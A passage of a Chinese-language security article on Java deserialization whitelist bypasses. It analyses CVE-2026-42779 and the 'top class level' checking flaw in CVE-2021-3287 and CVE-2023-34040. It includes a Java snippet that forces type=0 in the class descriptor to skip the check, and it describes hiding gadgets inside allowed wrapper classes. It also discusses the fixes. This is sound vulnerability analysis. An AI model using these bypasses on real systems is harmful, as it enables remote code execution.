0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">getObject</span></code><span leaf="">的调用栈，当</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">type=1</span></code><span leaf="">时</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readClassDescriptor</span></code><span leaf="">会调用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">lookup</span></code><span leaf="">，使得</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">forClass</span></code><span leaf="">返回非</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">null</span></code><span leaf="">，符合白名单检查的预期。但当</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">type=0</span></code><span leaf="">时，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cl</span></code><span leaf="">没有被赋值并始终保持</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">null</span></code><span leaf=""> ，导致白名单检测逻辑被完全跳过。通过构造特定的序列化流即可轻松实现绕过：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">try</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">ObjectOutputStream</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> oos</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> new</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> ObjectOutputStream</span></span><span leaf="">(baos) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">    @Override</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">    protected</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> void</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> writeClassDescriptor</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(ObjectStreamClass desc)</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> throws</span></span><span leaf=""> IOException {</span><span leaf=""><br/></span><span leaf="">        write(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">  // [1] 强制type=0</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""><br/></span><span leaf="">        super</span></span><span leaf="">.writeClassDescriptor(desc);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}) {</span><span leaf=""><br/></span><span leaf="">    oos.writeObject(obj);</span><span leaf=""><br/></span><span leaf="">    oos.flush();</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009218" data-ratio="0.6833333333333333" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b93011a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLnIZtTTQR5PTv6k3Ql5OdjZhNaOkn3ZjKJKJXR4qnwnB0ghdLfRltJ4picvRSqfV5KOhNglMpu8kx38wULeFFTqVvzZJZEwxGcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-42779</span></code><span leaf=""> 的最终修复方案如下，核心思路就是将白名单检查前置，确保无论 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">forClass</span></code><span leaf=""> 结果如何都会执行校验：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009222" data-ratio="0.8407407407407408" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3081b365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLlwnjZxWGKgJSB57cXQJDqHQln6aeTicq5HNQL26FMadYLgw9RklmprWjq3clQr1U2wq2RevdumFWFR9M99PAz482pnYSVZsvwo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">该漏洞产生的根本原因就是检查逻辑依赖一个不可靠的前提：</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">forClass</span></code><span leaf=""> 非空，导致攻击者可以在数据流层面构造特定参数实现绕过。</span></p><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">Top Class Level Error：仅检测顶层类的逻辑陷阱</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Java</span></code><span leaf=""> 反序列化中 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Top Class Level</span></code><span leaf=""> 的错误防御模式也比较常见，以下是我近年来调试过的几个真实案例：</span></p><ul style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px 0px 0px 1.5em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);list-style: none;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• CVE-2021-3287 Zoho ManageEngine OpManager SUM Bypass</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• CVE-2023-34040 Spring Kafka ErrorHandlingDeserializer Bypass</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• 某友 FileManageServlet Bypass</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• ...</span></p></li></ul><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">以 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2021-3287</span></code><span leaf=""> 为例， </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Zoho ManageEngine OpManager</span></code><span leaf=""> 反序列化触发点 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ITOMObjectInputStream</span></code><span leaf=""> 的实现如下：其 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf=""> 仅在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">classResolved</span></code><span leaf=""> 为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">false</span></code><span leaf=""> （对应解析最外层类）时才执行白名单检查，后续嵌套对象的解析直接放行：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009224" data-ratio="0.3685185185185185" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=032da4e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkjGjeoYKIibb1JZu7wfVIFasIaZp7WRcmfmhdZBl1518GzuTTJFiborXT0FpRy1apPic01dgKKEQOViaGrnibptSu5grvxcRFMjeck%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">无独有偶，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2023-34040</span></code><span leaf=""> 中 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Spring Kafka</span></code><span leaf=""> 的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ErrorHandlingDeserializer</span></code><span leaf=""> 也存在类似逻辑：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009223" data-ratio="0.25462962962962965" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d6c6295f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkqCOSqcO9Ny8viaJwRFeN2EfnVicucYibvYVlCWYdJfGN6FCX8rh6hib1MCHP5226NjicxrSyMdhZic9cSGhJKsPNUFckTw18SIfFTg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">针对这种 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Top Class Level Error</span></code><span leaf=""> 的绕过思路就是：在最外层包装一个白名单允许的类（比如 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">DeserializationException</span></code><span leaf=""> ） ，将实际的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">gadget</span></code><span leaf=""> 藏在该类的属性中（这与 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">.NET</span></code><span leaf=""> 中类 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">BinaryFormatter</span></code><span leaf=""> 的反序列化利用方式有些类似）, 这样构造的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">gadget</span></code><span leaf=""> 即可绕过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf=""> 中的检测 ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" 